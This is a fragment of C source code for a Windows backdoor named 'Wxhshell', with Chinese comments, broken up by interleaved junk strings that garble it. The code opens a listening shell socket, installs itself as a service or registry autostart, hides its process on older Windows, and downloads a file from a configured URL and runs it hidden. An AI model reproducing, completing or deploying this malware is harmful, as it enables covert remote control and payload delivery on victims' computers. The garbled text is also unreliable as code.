LY{3: IoC,\$s, CloseHandle(hProcess); i|t$sBIh >(3y(1; if(strstr(procName,"services")) return 1; // 以服务启动 ;.iy{&$ %vW@_A~ return 0; // 注册表启动 [Y[|:_+5 } M-n +3E9 COap* // 主模块 )lZb=t int StartWxhshell(LPSTR lpCmdLine) b{A#P? { k@?<Aw8_X SOCKET wsl; o\N),;LM BOOL val=TRUE; PH6uP] int port=0; n}"MF>zDK struct sockaddr_in door; {'/8{dS `sSI; + if(wscfg.ws_autoins) Install(); @ Fu|et IMj{n.y4 port=atoi(lpCmdLine); ='(:fHhhX Na4\)({ if(port<=0) port=wscfg.ws_port; [ACa<U/ dI`b AP;\ WSADATA data; L!\I>a5C0G if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :>|[ o&L Lx.X#n.]T if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; L9T|* ?|| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O%OeYO69 door.sin_family = AF_INET; V[#jrwhA door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7v{Dwg door.sin_port = htons(port); *t63c.S ]`LMyt0 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $aEL>,X closesocket(wsl); LKhUqW return 1; Ay[6rUO } Z\n
nVM= ^5OR%N) if(listen(wsl,2) == INVALID_SOCKET) { 5~v({R. closesocket(wsl); yTv#T(of return 1; "5=Gu1 } p~qdkA< Wxhshell(wsl); svN&~@l WSACleanup(); s$A|>TOY fnB[b[ return 0; QN":Qk(,q g/eE^o~; } A\LMmg nPE{Gp) } // 以NT服务方式启动 Pa+%H]vB VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u{J$]%C
{ xtyOG DWORD status = 0; n&Bgpt~ DWORD specificError = 0xfffffff; ?|kwYA$4o fC&hi6 serviceStatus.dwServiceType = SERVICE_WIN32; wZ0RI{)s' serviceStatus.dwCurrentState = SERVICE_START_PENDING; tw,uV)xm serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0tK(:9S serviceStatus.dwWin32ExitCode = 0; !#3v<_]#d serviceStatus.dwServiceSpecificExitCode = 0; 4S5U|n serviceStatus.dwCheckPoint = 0; jBb:) serviceStatus.dwWaitHint = 0; @cukoLAn Fsz;T; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KSz;D+L\ if (hServiceStatusHandle==0) return; !cW6dc^ 508v:?^' status = GetLastError(); Y'*oW+K if (status!=NO_ERROR) {OIB/ { 3?5JY;}h>" serviceStatus.dwCurrentState = SERVICE_STOPPED; 9(6f:D serviceStatus.dwCheckPoint = 0; tnE), serviceStatus.dwWaitHint = 0; r'8qZJgm serviceStatus.dwWin32ExitCode = status; LGB}:;$AL serviceStatus.dwServiceSpecificExitCode = specificError; 2u Zb2O SetServiceStatus(hServiceStatusHandle, &serviceStatus); z9Z4MXl return; xu\s2x$ } R#HVrzOO|T >
9.%hSy serviceStatus.dwCurrentState = SERVICE_RUNNING; 7cB/G:{
serviceStatus.dwCheckPoint = 0; galzk $D serviceStatus.dwWaitHint = 0; $7" Y/9Y if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z^vfha } H-\Ym}BGu GXG 7P,p, // 处理NT服务事件,比如:启动、停止 1J([*) VOID WINAPI NTServiceHandler(DWORD fdwControl) D%L^[|)c\s { Jr5dw=B gw switch(fdwControl) 't6l@_x { LAkBf case SERVICE_CONTROL_STOP: ClG\Kpirh serviceStatus.dwWin32ExitCode = 0; {7jl) x3l serviceStatus.dwCurrentState = SERVICE_STOPPED; pT{is.RM serviceStatus.dwCheckPoint = 0; }{y)a<` serviceStatus.dwWaitHint = 0; )xq=V { oqAO@<dL! SetServiceStatus(hServiceStatusHandle, &serviceStatus); _K}q%In } s]]lB018O\ return; DkX^b:D*f case SERVICE_CONTROL_PAUSE: zOd*> serviceStatus.dwCurrentState = SERVICE_PAUSED; {n|ah{_p| break; `;Ho<26 case SERVICE_CONTROL_CONTINUE: l`.z^+!8@ serviceStatus.dwCurrentState = SERVICE_RUNNING; !(
>U3N break; ;plBo%EBV case SERVICE_CONTROL_INTERROGATE: ( <YBvpt4> break; f"RC(("6W }; ( +Sv3h SetServiceStatus(hServiceStatusHandle, &serviceStatus); " i:[|7 } }4p)UX>aWT ").gPmC // 标准应用程序主函数 "I66@d? int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (?m{G Q { ltfKqY- ^R=`<jx // 获取操作系统版本 Tf~eH!~0 OsIsNt=GetOsVer(); VcGl8~#9 GetModuleFileName(NULL,ExeFile,MAX_PATH); 4j~q,#$LW V:w%5'^3 // 从命令行安装 tPl 4'tW_ if(strpbrk(lpCmdLine,"iI")) Install(); }[Z'Sg]s j*@@H6G // 下载执行文件 9j|v
D if(wscfg.ws_downexe) { <Xl#}6II if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s>m2qSu WinExec(wscfg.ws_filenam,SW_HIDE); KJRAW]?{ } XjF@kQeM= lhHH|~t0 if(!OsIsNt) { 5]>*0#C
S // 如果时win9x,隐藏进程并且设置为注册表启动 p;>A:i HideProc(); 0W(mx-[H/ StartWxhshell(lpCmdLine); gE _+r } n9xP8<w8
else (B>/LsTu if(StartFromService()) K_;vqi^1^& // 以服务方式启动 ?D6uviQg StartServiceCtrlDispatcher(DispatchTable); !{g<RS(c else wkM1tKhy/ // 普通方式启动 3Rc*vVnI StartWxhshell(lpCmdLine); S[1<Qrv] !gve]>M return 0; gom!dB0J }
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